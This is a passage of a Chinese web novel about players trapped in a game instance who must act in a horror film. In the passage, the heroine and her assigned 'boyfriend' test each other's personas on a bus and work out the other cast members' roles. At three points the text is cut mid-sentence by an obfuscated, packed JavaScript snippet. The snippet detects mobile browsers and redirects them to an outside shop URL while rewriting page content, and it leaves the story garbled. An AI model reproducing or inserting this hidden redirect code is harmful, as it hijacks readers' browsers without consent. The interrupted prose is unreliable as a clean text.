“但同时,质量也要有保证,我们要创造的是一部优秀的作品,要追求卓越。这意味着我们必须要在细节上下功夫,确保每一个动作表情在镜头里都能达到制片的要求。”程导语气严肃,目光在每一个人的脸上扫过。 纪然眼带探究地看着程导的眼睛,在他视线看过来时垂下眼帘。很奇怪,每一句单独听都没问题,怎么合在一起她就听不懂了?这副本到现在为止,每一点都挺令她迷惑的。 “好了,其他话我就不多说了,大家准备一下。车上的镜头都开启了吧?负责饰演剧组人员的演员去,找工作人员拿道具,其他演员按照剧本里的角色关系现在上车坐好。”程导手一挥,结束了开拍前的讲话,没有多余的赘述,直接进入行动阶段。 根据导演之前的表述,似乎在昨天的开机仪式上,所有演员就已经见过面,并且可能已经确认了每个人分别将要扮演的角色。然而今天他们玩家进副本,成了“这些人”。一上来就被催着换衣服化妆然后来到这里准备拍摄,根本来不及交流什么情报。 在这种匆忙的情况下,很多人除了对自己剧本中的角色有所了解外,对其他人的角色身份几乎一无所知。这种缺乏必要信息的状态,无疑增加了他们的演戏难度——要怎么在不问出口的情况下识别每个人的角色身份。 大家几乎都是一群素昧平生的陌生人,哪有什么默契度可言,一不留神就容易OOC。虽然不清楚违背人设后会有什么后果,但能好好完成任务的情况下,没人想作死去触碰规则的底线。 特别是导演让他们各自找位置坐。通常人们上车选择座位时,会本能地倾向于与自己关系亲近的人坐在一起。但在目前这种大家都互不相识的情况下,如何让角色之间的关系精准地反映在座位的选择上,成了一个难题。 纪然没有过多犹豫,首先登上了大巴车。剧本里她扮演的角色叫云初夏,一个22岁的美术学毕业生,刚经历完毕业答辩,拉着男朋友许灼和两名室友唐晨歌、叶莜竹一起参与毕业旅游。 根据第一天的剧本内容,纪然快速地在心里勾勒出云初夏的社交圈。剧本里有提到她们三人的感情还不错,那么按常理推测,两名室友很有可能会坐在一起。而云初夏作为一只非单身狗,肯定会选择与男朋友坐一起,享受二人世界。 在让自己纠结和让别人纠结之间,她果断选择让自己最先上车,把难题抛给这位素不相识的“男朋友”。 毕竟,一共12名演员,5女7男。其中有4人饰演剧组人员,而这当中还有2名女生。那么在除去饰演剧组人员的2名女生外,演员里只剩下3名女生,找到她的几率非常大。更何况,她现在所持有的副本人设与剧本中的角色设定几乎如出一辙, 在之前跟叶柯交谈中,纪然已经知道了叶柯将饰演的角色——云初夏的室友之一,唐晨歌。虽然云初夏与唐晨歌两人,一个专攻美术,一个主修新闻学,但不影响两人是好朋友。 唐晨歌这一角色,即便仅从剧本的字里行间,也能感受到她那满满的活力元气感,是那种小甜妹的设定。而叶柯透露出来的副本人设却呈现出截然不同的风格,偏向于清冷孤傲。这种冲突型的性格特质,不仅考验演技,更考验演员对角色的深入理解和把握。 非专业的普通人很难扮演好性格冲突的两类角色。不过叶柯拥有敏锐的洞察力,能够捕捉到他人面部表情的微妙变化,这让她在角色塑造上具有独特的优势。作为一位专业的心理师,对角色的心理把握和理解应该难不倒她,演起来不至于像一般人那样一头空白。 上车后纪然默不作声地观察其他人,细数人数。不包括司机,加上她和第一小队的几人,上车的一共有11人。纪然微不可见地皱了下眉——她记得剧本里第一天就写了12个角色。 随意挑选了一个位于车辆中部、靠着右侧车窗的位置坐下。就在她刚刚落座之际,眼角的余光不经意间捕捉到了宋承的身影。 他正站在与她隔着一个座位的过道里,似乎一直在等待她的落座。当看到纪然坐下后,他也顺势坐到了一旁靠过道的座位上,两人的位置中间隔了一条过道和一个座位。 纪然侧过脸,直直看向宋承,而宋承也似乎感受到了她的视线,扭过头,两人的目光在空中交汇。 他的面容紧绷,仿佛带着几分严肃,但当他的目光与纪然相遇时,微垂下的眼睑上睫毛轻颤,向她轻轻地点了点头,以示问候。 纪然凝视着他,足足持续了好几秒。在这段时间里,宋承始终保持着同样的表情,既没有开口说话,也没有移开视线,更没有流露出任何其他的情绪。 这种不同寻常的沉默让纪然突然灵光一闪,恍然大悟般明白了宋承当前所扮演的副本人设——沉默寡言高冷风。 她回想起剧本中对宋承所扮演的角色——段华的描述。段华与云初夏是同一综合性大学里的校友,不过段华要大几届,暑假后读研三。这个角色设定既闷骚又话唠,与现在宋承所展现出的副本人设形成了鲜明对比。 这种强烈的反差让纪然感到非常上头,尤其是想到平日里宋队长那副成熟稳重、一本正经的模样,让他去演绎一个闷骚且话痨的角色,纪然不禁想象起那个场景,心中的笑意愈发浓烈。 所以纪然幸灾乐祸地笑了,触及到人设问题,刚笑出来她就赶紧压下去,努力想着自己圣洁无比又娇弱,自己就是圣母玛利亚在世,于是她的脸上露出了柔和的笑。 宋承注意到了纪然眉眼间那抹调侃的笑意,他心中不禁涌起一股无奈的情绪。不过,目前这个世界还未发现危险,队友都在身边,而这名新队友正对着自己笑,宋承的眼中却也染上了几分淡淡的笑意,仿佛被她的笑容所感染。 就在纪然与宋承对视时,一道突兀的身影突然闯入了他们的视线,遮挡住了彼此的目光。纪然微微一愣,随即抬眼望去—— 嚯,这不正是之前在换衣间里秀身材的那位吗? 大巴车安静地停在宾馆门口,周围是忙碌的剧组工作人员,他们或搬运设备,或进行着最后的拍摄准备。阳光透过浅浅的云层,洒在大巴车光亮的金属外壳上。 在之前导演说让演员上车的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179141|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,楚昭就注意到那一马当先的女生。她像是完全没有思考导演提到的关于角色关系的重要性,直接上车又随意选择了一个座位坐下,给人一种冲动而不加考虑的印象。 但楚昭记得在宾馆大厅里见到的场景,这个女生与另一位女生似乎认识,并且一同外出交谈。倘若她在副本中确实有熟人,那么她理应不会对导演的指示和他们所面临的状况一无所知。 如果不是没脑子,那就是她在权衡之后做下的选择了。 剧本中五位女角色,排除掉两个挂着身份牌的“剧组人员”外,剩下三位女生是室友关系,其中一位是“他”的女朋友。 踏上大巴车后,楚昭的目光在车厢内无声扫过,重点关注着那三名女生。根据剧本,云初夏作为许灼的女朋友,在寻找座位时很可能会考虑与许灼的接近性。同时,云初夏的两名室友,由于彼此间的亲密关系,很可能会倾向于选择相邻的座位坐下。 视线很快锁定了左侧第三排座位,他看到两名女生正准备落座。其中有一个是当时在大厅里见到的两名女生之一,她们相互轻声交谈着,显得十分融洽。 确认这两名女生的身份后,楚昭移开视线,沿着车厢的过道稳步前行,目光锁定在第五排靠窗的座位上。随着他逐渐接近,楚昭见“女朋友”正在跟其他男人进行眼神交流,两人还笑得很是开心的样子。 这即将要开拍了,不确定镜头什么时候拍摄,但作为云初夏的男朋友许灼扮演者,他要是不作为一定会OOC。所以楚昭毫不犹豫地大步走过去,挡在两人之间。 巧了不是,他的剧本里正好就写着段华一直暗恋云初夏,却迟迟不告白,最后被许灼捷足先登。结果没想到云初夏与许灼在一起几个月了,段华仍然对她念念不忘。 毫无疑问,若这个女生是云初夏,那这个跟她眉来眼去的男人就是段华的扮演者。一上车就推测出了好几个人的角色,这个副本不愧是低级本,对只要稍微有点脑子的人而言,这是开局就明摆着地被送线索。 上午的阳光轻吻在在楚昭脸上,宛如一位细心的画家,以最温柔的笔触勾勒着他面部的轮廓。那阳光带着夏季特有的明媚温度,细腻而不张扬,轻轻掠过他的眉梢,为他的面容增添了一抹温暖的光彩。 光影在他鼻梁上划分出挺拔的线条,像精心雕琢的雕塑,充满了艺术的美感。他的脸庞在阳光的映照下,显得格外立体而生动,每一个细节都被勾勒得淋漓尽致。 楚昭垂下眼帘,一只手撑在纪然旁边的座位靠背上,身体微微前倾,纯黑色的瞳孔直勾勾地盯着略显错愕的纪然。他幽幽开口:“女朋友?” 低沉微哑的声音中自带三分冷意,却又似乎充斥着玩笑般的调侃。 因为不确定她是谁而又要保持人设所以用这种看似开玩笑却真的是在单纯问身份的奇怪口吻来问吗? 纪然抬头对上这个男人的眼神时,感觉自己悟到了。于是她点了点头,夹着嗓子打招呼:“你好呀,我那素不相识的男朋友?” 语气带着三分陌生的疏离感、三分笑意以及四分的柔弱感,纪然对自己说出来的、能用扇形统计图表达出来的语气自我感觉非常良好。 “……” 面对着纪然的楚昭,和被楚昭挡住视线的宋承,两个人都沉默了。 57. 女朋友&男朋友 莫名的,虽然有些荒谬,但楚昭确实从她的语气中听出了扇形统计图的感觉。 她要扮演的人设这么复杂? 楚昭一时无言,演得很好,建议下次大可不必演得这么投入。 为了符合人设背景,他略微思索,平静地回复道:“好巧啊,我那一见如故的女朋友。”说着,他从从容地从背上取下背包,准备入座。 这回应巧妙地与她刚才的话形成了对仗。 咦,她“男朋友”是这种人设吗?一句话也得对整齐,用毫无波澜的语气搁这对对子呢? 好怪,再看一眼。 楚昭顺势坐在纪然身旁的座位上,将背包轻放于腿上,侧脸一瞥,目光扫过左侧的宋承。 在他坐下后,以纪然的角度望去,宋承的身影被遮挡了大半,她自然也就没能捕捉到楚昭那一瞥的目光。 而宋承在听到纪然对这个人的打招呼后,意识到这个男人便是剧本里许灼的扮演者。在这即将开拍的时候,为了等会儿更好地入戏,尤其是许灼和云初夏的感情戏,他们确实需要提前培养感情。 所以,自己这是成了他培养感情第一步的催化剂? 一进到这个所谓的无限游戏的副本里,就拿到自己要演绎的角色剧本,副本开始给的人设与电影人设迥异,这种差异让他不禁怀疑角色的戏份不过是游戏随机分配的结果。 而纪然作为也才接触这种诡异游戏不久的新人,在SP部门里同样身为他们的队友,在他们的指点下训练时间还足一个月。在某些方面的知识储备和各方面身体素质,远远比不上第一小队的几人。 扮演剧本中的情侣,意味着长时间近距离的相处,很难不去担心她。 不过,他所饰演的段华以及小柯所饰演的唐晨歌的角色来看,他们也是有不少机会能与纪然待在一块。况且,在必要的时候,演员根据情绪和剧情的发展,适当增加戏份,调整剧情细节,也是剧情演绎中的常态。 在这些念头闪过脑海之际,宋承回望过去,对上这个男人暗含警告的眼神。他面不改色,简单的角色扮演而已,他们在执行任务时也会运用到类似表演的技巧,对入戏并不陌生。 两人的目光在大巴的过道上空交汇,仿佛有一股无形的力量在视线间激烈碰撞。 楚昭:管好自己,别总盯着别人的女朋友看。 宋承:只是女朋友而已,又不是结婚了。 察觉到旁边人一直看向另一边的动作,好奇探出头观察的纪然:哇,名场面,这就是被争夺的感觉吗?好刺激,好想嗑瓜子。 她的剧本里也提到段华一直暗恋着云初夏,但以段华闷骚的性格来说,其他话题上他都能侃侃而谈,却对涉及到自己感情这一块,所有感受都憋心里,一丁点都没透露出来。 憋到云初夏对他的感情一无所知,以为他只是把自己当朋友。后来直到她遇到许灼,两人相识相知,最终走到了一起。 可惜,就算她心中吃瓜的欲望如何强烈,按照人设都不能表露出来,纪然暗暗可惜。 偏头看向身侧的人,纪然一脸茫然地问道:“怎么了?” “没什么,看到一只小虫子。”楚昭收回视线,面色自然地回道。 听到对话的宋承:? 他欲言又止,最终还是什么都没说,翻开了剧本,继续寻找线索。 听懂了的纪然:喂!不要以为是在演戏我就听不出你在蛐蛐谁! 不管怎么说,宋队长是自己人,要怎么不着痕迹地反驳回去呢? “咦?大巴车里还有虫子吗?”纪然故作惊讶地睁大眼睛。 “看错了。”楚昭垂下眼,从背包里翻出一包糖,拆开包装精致的袋子后,递给纪然一颗。 见她看向包里剩下的糖果,他解释了一句:“拍戏要用的。” “喔,好。”纪然拆开糖衣直接把糖丢进嘴里,然后从包里摸出剧组准备的一瓶水递给他。 看那些小说电视剧里就经常有这种桥段,比如说女主拧不开瓶盖,把水递给男主,然后感情就起来了。 楚昭以为这是在互送东西培养感情,接过来一边拧开一边道谢。正准备意思意思喝一口时,眼前出现一只手,耳边传来她的声音:“谢谢,可以还我了。” 楚昭:“……” 纪然接过水,咬碎糖果后喝了几口,总感觉跟电视剧里演得有哪里不一样。想了想,又从包里摸出一个橘子递给他。 虽然很神奇,但是剧组准备的背包里,确实有不少小零食,她刚还吃了一个,有点酸,不过也还好。既然拧瓶盖不行,那就请他吃一个橘子吧,虽然有点酸。 橘子表皮呈现出略深一点的橙色,宛如夕阳余晖下的温暖色调。拿出来后就能闻到一股清新怡人的水果香味,带走了车内的闷热气息。 楚昭接过橘子,手指在橘皮上无意识地摩挲。迟疑了两秒,才慢慢剥开橘子皮,露出里面橙色的饱满果肉。被剥开的橘子皮边缘微微卷曲,像花瓣一样在掌心里绽开,清爽的柑橘香味充斥着两人的座位间。 橘子肉被一层透明的薄膜包裹着,上面点缀着纤细的白色经络。随后被人细心地掰开每一块紧密相贴的果瓣,在橘子皮里摆放得像层层展开的花。它们像是被阳光亲吻过,散发着诱人的光泽。 一只指骨分明的手伸到了纪然面前,掌心里正放着剥好的橘子,在与女性截然不同的宽大手掌中,橘子倒显得有些小巧精致。 从剧本中抬起头的纪然:? 两眼茫然地看着楚昭,纪然问:“你不吃吗?” 楚昭的手指轻轻颤了颤,不是要他剥开的意思吗? 秉着人设,他反复思考“铁直男”在这种情况下会有怎样的表现。他镇定地收回手,装作无事发生的样子,拈起一片橘瓣送入口中。 下一秒,他脸色微变,眉眼间不由自主地抽动了一下。 正在暗中观察对方的纪然看到这一幕,眼中闪过一丝戏谑的光芒,眨了眨眼。 嚯,这个橘子这么酸吗? 幸好她没吃。 纪然嘴角的弧度又上扬了几分,咬着唇忍笑,肩膀时不时抽动一下。 “……”已经发现罪魁祸首在偷笑的楚昭揉了揉眉心,努力平复内心的波动,强行吞下嘴里酸到令人牙软的橘瓣。 他的目光落在手里剩下的橘瓣上,沉默不语。 注意到楚昭的微妙表情,作为一名小白花,纪然很是善解人意地问:“怎么了,很酸吗?要不我来吃吧。” 吃是不可能吃的,只会偷偷毁尸灭迹掉,比如说分给其他人。 本来纪然不说这句话,楚昭还想着怎么在这种除了体质保留外,所有道具和能力全被禁用的情况下,悄无声息地处理掉这些橘子。 然而她这话一说,他就不能这样做了。 低级副本对高级玩家的限制很大,为了不破坏平衡,基本上每一步都受到了严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179142|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格的束缚。就好比这个他来刷一个道具的低级本,原本的副本规则是保持人设就好,否则会影响到最后的奖励结算,以及增加NPC的恶意。 他以高级玩家的身份进入副本后,规则在他这里变成了必须要完美地扮演好角色。一旦有任何偏离角色设定的行为,都会遭受所有NPC的围剿,直接影响到主线任务的拍摄,相当于任务失败。 任务失败的后果是很严重的。 作为一个高级玩家,如果在一个低级副本中主线任务失败,将会被传送到流放之地,在里面经历各种身心以及精神上的折磨。如非必要,他并不想因为这么点小事再进一次流放之地。 “不用,我喜欢吃。”楚昭轻声拒绝,又慎重地审视了几秒,像是在面对一道疑难杂题。紧接着,他眼中飞快闪过一股狠意,一次拿起三四片橘瓣毫不犹豫地往嘴里塞,迅速咀嚼几下就吞了下去。 橘子的果酸瞬间在他的口腔中爆发,那股强烈的酸味直冲两腮和脑门。楚昭做好了心理准备,眉头都没皱一下,倒把纪然看得啧啧称奇。 看他一开始那猝不及防的表现就知道有多酸,这会儿吃得这么爽快。不得不说,为了维持人设,他好拼啊。 这一下激励起了纪然扮演的斗志,大家都在卷,她怎么能摆烂? 所以她用一种混合着担忧与关切的眼神注视着楚昭,手却悄悄地伸进他的背包,摸索着找到了一瓶水。她把水递过去:“要喝点水吗?或许能缓解一下。” 楚昭微微抬起眼帘,目光与纪然相遇,他接过水,仰头一口气喝下了大半瓶。 见状,纪然不禁发出了一声赞叹:“哇,你好厉害呀,能一口气喝这么多水。” 楚昭:“……” 察觉到左侧过道那边“段华”投过来的目光,以及其他座位上的人看过来的视线。楚昭抿了抿嘴,拧上瓶盖后很真诚地建议了一句:“其实,你可以不用夸的。” “不用客气,关心‘男朋友’是我应该做的。”纪然笑吟吟的,甚至有点想把自己包里剩下的橘子都给他。 看着自己包里少了一瓶水,楚昭开始怀疑她的人设到底是什么,怎么感觉阴阳怪气的。 但以副本人设的视角,“他”应该听不出来,估计会感觉她在关心自己吧。想到这里,楚昭忽略了这些怪异的感觉,继续扮演一个铁直男。 车窗外的剧组人员忙碌的身影穿梭不停,程导的声音在空气中回荡,指挥着他们坐上了其他车辆。玩家们所在这辆大巴里也进来几名工作人员,上来就直接坐到最后一排,摄影机已经架好,镜头对准了车内的主要区域。 趁着还没开拍,纪然回忆着第一幕的剧本,思考着得怎么培养出感情。从她有记忆以来还不到一个月的时间,上哪知道怎么跟“男朋友”相处,递吃的喝的好像没啥效果。 于是,纪然试探性抛出话题:“男朋友,你谈过恋爱没?” 楚昭:? 楚昭:你要不听听你在问什么? “你呢?”他没回答,又把问题抛回来,“有没有恋恋不舍的初恋?” “讨厌,”纪然故作娇羞状,“人家明明只谈了你一个对象。” 楚昭:“……” 这辈子都没今天这么无语过。 深呼吸后,楚昭强行忽略她装出来的表情,言笑不苟:“那就当你有经验了,能不能教教我?” 纪然惊愕地眨了眨眼:啊?还能这样算吗? 58. 各自的角色 “我敢教,你敢学吗?”见他一副正经的模样,纪然露出一抹巧妙的笑容反问道。轻柔的声音中带着若有若无的挑衅,弯起的眼眼里透露着一股玩味感。 根据她看过的电视剧和小说,不就是演感情戏嘛,多大点事。只要对方这个唯二当事人不介意,她就按看过的情节来演。 楚昭听出来纪然话里的另一种意思,微微偏过头,直接望进了她的眼睛。他眸色深沉,嘴角勾起浅浅的弧度,语气中却带着一丝让人难以捉摸的意味:“有何不敢?” 大巴车内,两人的目光在空气中交汇,仿佛在无声中传递着彼此的情感。实际上他们眼中皆是清明一片,隐约透露着对陌生人的冷漠与警惕感。 阳光透过车窗,轻柔地洒在楚昭的脸上,为他那双如黑曜石般的眼眸增添了一抹柔和的金色光泽。 纪然侧着脸,窗外的光线从她脑后洒落,形成一道光的帷幕。避光的脸上,她的表情显得有些朦胧,意味不明。 剧本并没有详尽地描绘云初夏和许灼之间的每一次互动,甚至在有些时候某些地方故意留白,让角色的相处模式显得有些模糊。对纪然和楚昭这俩假演员来说,即是好消息,又是哥坏消息。 好消息在于,两人不用刻意去模仿一些情侣狗的尴尬行为,为他们提供了一定的自由度和灵活性。 怀消息是,他们两好像都没有真正谈恋爱的经验,并不清楚要怎么才能演绎出剧本中所要求的感情深度,和黏糊的相处方式。 想到剧本里许灼的人设,再瞅瞅楚昭的模样,纪然少有地陷入了沉默。 楚昭注意到她的表情突然有了变化,看向自己的眼神透露出一言难尽的复杂,他迅速联想到了自己所扮演的角色人设,露出一个尴尬而又不失礼貌的微笑。 车窗外,程导他们已经在做收尾工作了。纪然从背包中取出手机,指尖轻触屏幕,看了一眼时间,屏幕上显示着上午九点五十分。根据之前得到的消息,拍摄将在十点钟开始。 还有十分钟时间,她得趁机再熟悉下剧本和其他人。 于是纪然悄悄伸手,探究性地捏了捏楚昭的小手臂。 他像是被她突如其来的动作弄得有些措手不及,他浑身下意识地进入一种戒备状态,肌肉紧绷,仿佛一头察觉到潜在危险的猛兽,做出随时准备进攻的模样。 感受到手指下瞬间绷起的结实肌肉,她扬起无辜的笑,轻声问:“我记得许灼是个性格比较内向的人,你的反应似乎有些激烈了,这不太符合人设吧?” “人设”两个字上她加了重音。无论是许灼的设定,还是目前他表现出来的副本人设,都不像是会有这种反应的人。 楚昭眼里闪过一丝意外,见她只是捏了捏自己的手臂后,才慢慢放松下来。报复性地猛地抓住纪然那只手的手腕,像是在阻止她的动作。他上身慢慢逼近她,故意压低声音:“那你呢?我那柔弱不能自理的女朋友?” 纪然:? 啊?剧本里有说“她”柔弱不能自理吗?她怎么记得只提到“她”说话有点茶里茶气的,时不时会闹点小脾气。 纪然不服,翻开剧本—— 「场景二(片段):小镇广场附近」 「△下午时分,阳光耀眼。一群人从大巴车上鱼贯而出,兴奋又好奇地打量这个陌生的小镇。」 「云初夏:(脸色发白,被许灼扶下车,半开玩笑)看起来跟宣传里差不多,要是把大家带到这么远的地方来,结果却不好玩,我岂不是成了罪人?」 「许灼:(扶她到一边坐下,喂她喝水)别想那么多,你帮着做了好几天的旅游攻略,我们感激还来不及呢。来,先喝点水,休息一下。」 「△许灼见云初夏的气色稍微好转,便返回大巴拿下两人的行李。他再次扶起她,一同跟随大部队缓缓步入小镇。」 纪然跳过其他人的戏份,直接看自己和他的部门。场景一里,这不就只是单纯的晕车吗,应该不算柔弱不能自理吧? 「场景三(片段):宾馆房间内」 「△午后阳光透过窗帘的缝隙,洒在温馨的房间内。许灼和云初夏入住了一间简洁的双人房。许灼正忙碌地整理着两人的行李,而云初夏则慵懒地坐在窗边的小沙发上,滑动着手机屏幕。」 「云初夏:(抱怨着,用手扇风)真是热死了,这房间怎么连个空调都没有啊?要不是这里只有这一家宾馆,我绝对不会选择住这里。」 「许灼:(停下手中的动作,面露难色)我去看看能不能找老板要些冰块来,或许能凉快一些。」 「云初夏:(抬头看了他一眼,轻笑打趣)怎么感觉自从跟我在一起后,你的社恐属性好像都不见了?」 「许灼:(无奈,走过来给她扇风)两个人里总得有一个人要对外社交,你不喜欢,那就由我来。」 「△许灼见她一直流汗,出房间去找老板要冰块。云初夏待在房间里,身侧不远处的化妆台上的镜子里有一道黑影一闪而过。」 「△许灼拿了不少冰块回房间,进来后发觉房间里温度降了很多,云初夏拿着笔在纸上写写画画,似乎没有注意到这一变化。」 「许灼:(放下装冰块的盆子,走到她身边)怎么感觉房间里的温度突然变了,是不是外面天气转凉了?你感觉冷吗?」 「云初夏:(有些困惑,没有察觉到异常)嗯?没有感觉到冷啊。」 「许灼:(握住她的手,感受到她的手有些凉)说不冷呢,温差这么大,小心着凉,还是披件外套吧。」 「△许灼取出外套轻轻披在云初夏身上,云初夏顺势扑他怀里撒娇。两人都没看到镜子里浮现出来的一双眼睛。」 好像当着另一个当事人的面看这个剧本的情节是有些尴尬。纪然看得飞快,然后合上剧本。 场景二里开始出现“灵异”元素,她也很好奇这要怎么拍出来。不过目前最重要的是为“自己”正明,纪然一本正经道:“云初夏是因为晕车和没有感知到冷才这样的,演戏人的事能叫柔弱不能自理吗?” 楚昭:“……” 怎么抓她手是这个反应?关注点是不是错了? 他稍微使了点劲,无声地提醒她正在被人抓着手腕,在扮演状态下也带着些许本身的性格,想看她同样应激地失态。 哪知道纪然微微皱了皱眉,又开始夹子音娇柔地说:“你好粗鲁啊,都弄疼人家了。” 楚昭动作一滞。 注意到过道左侧的“段华”再次将视线投向他们,楚昭稍微放松了对纪然手腕的握持。瞥了“段华”一眼后,又继续跟纪然交谈:“抱歉。你刚捏我手臂也是教学的一环?” 纪然很是乖巧地点头,柔声解释:“对呀,剧本里有很多我们要肢体接触的情节,我们需要提前适应。你看,如果不是我碰这一下,你可能还没意识到自己的应激反应。” “你说得对,”听到这种回答,他不置可否,“那么,接下来的教学是什么?” 接下来的教学?纪然思考着炮灰小白花能做出来的事里,有什么能作为参考的。这个时候,旁边人突然又说了一句:“还有五分钟。” 纪然眨了眨眼睛,还有五分钟就开始拍摄了么?这车上的人还没认完呢。 “那你稍微等我下。”纪然如是说道。 在想出来的合理行为里,她选了一种很常见的方式来观察其他人的选座位情况。 比如说,她忽略了还被人握着的手腕,突然站起身,装作想要出去的样子,手臂顺势一扯,身体失去平衡,倒向了旁边的楚昭。 仓促下,一只膝盖顶在座椅上,另一只膝盖则压在他腿上。纪然按着楚昭的肩膀,借着比坐着高出一截的高度优势,装作无意地用目光快速扫向后排座位。 大巴右侧座位上,与她隔了一排的倒数第三排靠窗座位上,坐着一个年轻女生。而最后一排坐了五个工作人员。 在大巴左侧,与那女生同排的靠过道位置,坐着李新咏,他佩戴着剧本中剧组人员的身份牌。李新咏注意到纪然的目光,立刻明白了她的意图,向她微微点头示意。 在李新咏前一排的靠窗位置,坐着乔云深,他正低着头,像是在看剧本。乔云深的前排是宋承,坐在靠过道的座位上。 楚昭在纪然出其不意的动作下,本能地产生了防御反应,条件反射性地准备采取攻击姿态。 就在手指刚要动作的瞬间,他触摸到了与自己练出肌肉线条的截然不同的柔软手臂,这让他瞬间意识到了自己所正处在一个需要扮演的角色之中。 于是动作迅速转变,不再是攻击。而是眼疾手快地扶住了纪然的腰,稳住了她的身形,避免了她直接扑倒在他身上的局面。 纪然快速地扫视完后排的人之后,才缓缓低下头,对上楚昭的眼睛。她回忆着当初在陌生房间里醒来,听到敲门声时的恐惧场景。那种惊慌失措,正好符合现在的状态,于是,她的脸上露出后怕的神色。 楚昭敏锐地捕捉到了纪然脸上的比正常反应要慢两秒的变化。 还真会演,他想。 纪然装作脱力般顺势坐在他腿上,凑近他耳边,轻声问:“要跟我合作吗?” 随着她的话语,一股温热的气息拂过楚昭的耳边,引起了一阵轻微的麻感。陌生的感觉让他很不适应,本能地想把人推开。但随即,他的理智迅速占据了上风,提醒他不能轻举妄动。 听清她的意思后,楚昭从鼻腔中发出了一个含糊的声音:“嗯?” 纪然当然心中清楚,这话是不能随便说出来的,一不留神就容易OOC。 她暗自思忖过,为什么自己的副本人设里会有“炮灰”这样的标签?在她的理解中,所谓的炮灰,不就是容易选择作死路线的角色吗? 这种人设无疑给了她一种特殊的自由——一种在规则边缘游走的自由,在不完全OOC的前提下,试探那些模糊的规则界限。 而且,她猜测,副本中的人设可能是一种必须在他人视线中维持表象的设定。这与电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179143|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影中演员在镜头前所展现的角色状态不谋而合,需要在众目睽睽之下保持角色的形象。 若是只在自己一个人时,或者其他人看不到时,她是不是可以摆脱人设的枷锁,暂时“回归自我”? 这句话只是第一步轻微地试探。 果不其然,眼前没有跳出任何提示或警告,证实了她的猜测完全是对的。 “你是演员里最后一位上车的吧,告诉我前排的人员分布,我告诉你他们对应的剧本身份。”纪然宛若柔弱无骨般倾靠在他身上,在其他人眼里也只不过是他们在培养感情罢了。 楚昭脑子转的很快,听到这话一下子就反应过来,轻声问:“有你认识的人?” “怎么样?合作吗?”纪然很有把握他会同意,本身这就是双赢的局面,没必要跟自己在剧里相处时间最长的人闹不快。 “当然,”楚昭松开她的腰,一缕发丝飘到他鼻尖,脑子里瞬间闪过那些遇见过的情侣间的相处行为,作为一个要学习怎么跟女朋友相处的人,他捏起那缕发丝,动作不是很自然地挽到她耳后,“你要从我身上下来么?” “你这话问的,真不好听。”纪然撇嘴,一个翻身回到了自己座位上,她从包里拿出了拍戏用的道具本子和笔,递给了楚昭。 本子上除了一些旅游行程的安排外,其余都是空白页,正好用来记录。 楚昭坐在靠过道的座位上,前排其他人有没有换位置他都能看得一清二楚,所以毫不犹豫地在本子的空白页上绘制起座位表。 大巴车内,除了司机和副驾驶的位置外,乘客区域整齐地排列着九排座椅。每排座椅以中央的过道为对称轴,两侧各有一对相连的座椅,构成了典型的大巴车布局。然而,最后一排与众不同,那里设有一列五个连着的座椅,打破了之前的对称格局。 大巴车的进出主要依赖于车辆前部的一个车门,除此之外,只有驾驶位旁边设有的一扇小门。 纪然注视着楚昭的笔触,第一排左右两边的人都是坐在靠过道的位子上,左侧是演员里年纪最大的女人,右侧坐着个青年男人。 第二排没人。写到第三排时,楚昭在座位表左侧部分的格子里写着两遍“室友”两字,停下笔用笔头点了点字,说:“你的两个室友。” 他又在右边的“室友”那里加了个下划线,说:“之前跟你聊天的那位。” 第三排右侧靠过道的位子坐着个年轻男人。 第四排没人。第五排就是“段华”和他们两。接下来的部分由于他不确定有没有人员座位变更,便由纪然补充完整。 在写完座位表后,纪然开始在旁边填写上每个人的角色名。 第一排左侧那个年纪最大的女人,毫无疑问就是剧本里的“导演”秦文心,也是纪然当时刚从换衣间里出来时遇到的中年女人。右侧的男人暂时不清楚身份。 第三排从左至右依次是室友叶莜竹、叶柯扮演的唐晨歌,那么跟叶柯隔着过道的右侧年轻男人,就是肖羽扮演的孟贺了。作为许灼的朋友,剧本里孟贺暗恋着唐晨歌。 第五排从左侧过道边开始往右,依次是宋承扮演的段华、男朋友许灼、纪然扮演的云初夏。 第六排只有左侧靠窗的白林,由乔云深饰演。 第七排是左侧过道边的陈南寻,由李新咏掩饰的剧组道具师。右侧靠窗的是演员里剩下的最后一名女性——陈欣,扮演着剧组的摄影师。 刚才纪然往后看时,陈欣不是她之前在化妆间里见到的那个“新人”女孩,那么当时喃喃自语说不想参加这个游戏的女人,就是叶柯边上的叶莜竹了。 随着名字一个个被填入,纪然的的笔尖一顿,演员里真的少了个人。 